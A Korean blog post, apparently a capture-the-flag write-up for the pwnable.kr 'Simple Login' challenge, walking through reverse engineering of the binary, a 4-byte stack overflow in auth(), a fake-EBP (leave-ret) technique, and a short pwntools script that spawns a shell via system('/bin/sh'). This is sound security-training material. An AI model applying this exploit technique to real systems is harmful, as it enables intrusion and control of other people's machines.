ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [ Rookiss ] Simple Login
    System/Pwnable.kr 2019. 1. 17. 15:17

    [ Binary info ]

    32Bit 바이너리이며, 보호기법은 Canary와 NX Bit가 적용되어 있다.


    특이점으로는 Statically link방식을 사용하기 때문에 

    RTL과 같이 공유 라이브러리를 이용하는 공격 기법은 사용이 불가능하다.

    따라서, 바이너리안에 존재하는 함수들을 Chaining하는 식으로 페이로드를 구성해야 한다.


    [ Binary Execute ]

    바이너리를 실행하면 입력값을 받는데 길이값을 크게 주면 'Wrong Length'라는 경고 메시지를 출력한다.

    특정 길이값을 주면 입력값에 대한 hash값을 출력하는데, 이때 Segmentation Fault가 발생한다.

    이 부분을 포인트로 잡고 IDA 디버깅을 해보도록 하자


    [ Debugging#1 ]

    main( )를 먼저 보면 실행 때 봤던 "Authenticate : "라는 문자열을 출력하고

    scanf( )로 30Byte를 변수s에 입력받는 것을 확인할 수 있다.

    s의 크기는 0x1E(30Byte)이므로 여기서 취약점이 발생하지는 않는다.


    다음 코드에서 입력한 값(s)을 Base64Decode( )로 디코딩하는 모습을 볼 수 있다.

    또한, 디코딩한 값의 길이가 13Byte이상이면 실행했을 때 봤던 경고메시지가 출력된다.

    따라서, 페이로드는 Base64로 한번 인코딩한 값이어야 하며 길이 값이 12Byte를 초과하면 안된다.


    그 뒤 디코딩한 값을 .bss영역에 위치한 input변수에 저장하고, auth( )의 반환값이 1이면 correct( )를 실행한다.


    [ Correct( ) ]

    Correct( )에서는 input값이 0xDEADBEEF일 때, system("/bin/sh")를 실행시켜준다.

    system("/bin/sh")를 실행시켜준다는 점을 기억해두자


    [ Auth( ) ]

    Auth( )에서는 디코딩한 길이값(a1)을 인자로 받아와서 v4에 input의 값을 a1만큼 저장한다.

    이 부분에서 취약점이 발생하게 된다.

    v4의 크기는 8Byte인데 저장할 수 있는 최대크기가 12Byte이기 때문에 4Byte가 Over Flow된다.

    이로써 auth( )의 SFP(Stack Frame Point)를 핸들링할 수 있게 되었다.


    그 밑에는 입력값의 md5 해시값을 계산하여 그 값을 출력해주는데, 반환값을 1로 만들려면 

    결과 해시값이 "f87cd601aa7fedca99018a8be88eda34"이어야 한다.


    일반적으로 해시값은 복호화가 불가능하다.

    간혹, 해시값이 복호화되는 경우가 있는데 이는 사전 공격(Dictionary Attack)으로

    Database에 많은 '평문-해시'쌍을 저장해두고 매칭되는 값을 반환해주는 형식이다.

    이러한 표를 'Rainbow Table'이라고 한다.


    따라서, 저 분기점을 통해서 Correct( )를 실행하는건 불가능하다.



    [ Exploit ]

    우선 우리가 핸들링 가능한 것은 Auth( )의 SFP이고, 

    시스템의 흐름이 [Auth( )에필로그] -> [main( )에필로그] 순으로 진행된다. 

    따라서, FakeEBP Attack이 가능해진다.

    [FakeEBP 개념정리]

    (글은 FPO지만 원리는 FakeEBP와 똑같다.)


    FakeEBP Attack은 함수 에필로그(leave-ret) 흐름을 이용한 공격기법이다.

    페이로드가 위치한 주소값을 알고있고, 두번의 함수 에필로그를 필요조건으로 한다.

    우리가 입력한 값은 .bss에 위치한 input변수에 저장된다.

    .bss영역의 주소값은 일반적으로 고정된 값이기 때문에 이를 이용하면 된다.


    Payload는 최대 12Byte까지 입력이 가능하며, 구성은 아래와 같다.

     input주소값+4

    system("/bin/sh") 주소값

     input주소값



    [ system("/bin/sh") ]

    ASLR만 적용된 상태이기 때문에, Code영역(.text)의 주소값은 고정적이다.

    따라서, system("/bin/sh")의 주소는 correct( )에 위치한 [0x08049284]를 넘겨주면 된다.

    그럼 저 위치로 JMP해서 인자값으로 "/bin/sh"이 채워진 채로 system( )가 실행될 것이다.


    [ PAYLOAD ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
    import base64
    = process("./login")
     
    input_add = p32(0x0811eb40)
    input_add_4 = p32(0x0811eb44)
    system = p32(0x08049284)
     
    print p.recvuntil(": ")
    #input+4 + system("/bin/sh") + input 
    payload = base64.b64encode(input_add_4+system+input_add)
    p.sendline(payload)
    p.interactive()
    cs




    'System > Pwnable.kr' 카테고리의 다른 글

    [ Rookiss ] Ascii_easy  (2) 2019.04.05
    [ Rookiss ] Alloca  (1) 2019.03.24
    [ Toddler's Bottle ] asm  (4) 2019.03.09
    [ Rookiss ] otp  (1) 2019.03.06
    [ Rookiss ] loveletter  (0) 2018.08.26

    댓글

Designed by Tistory.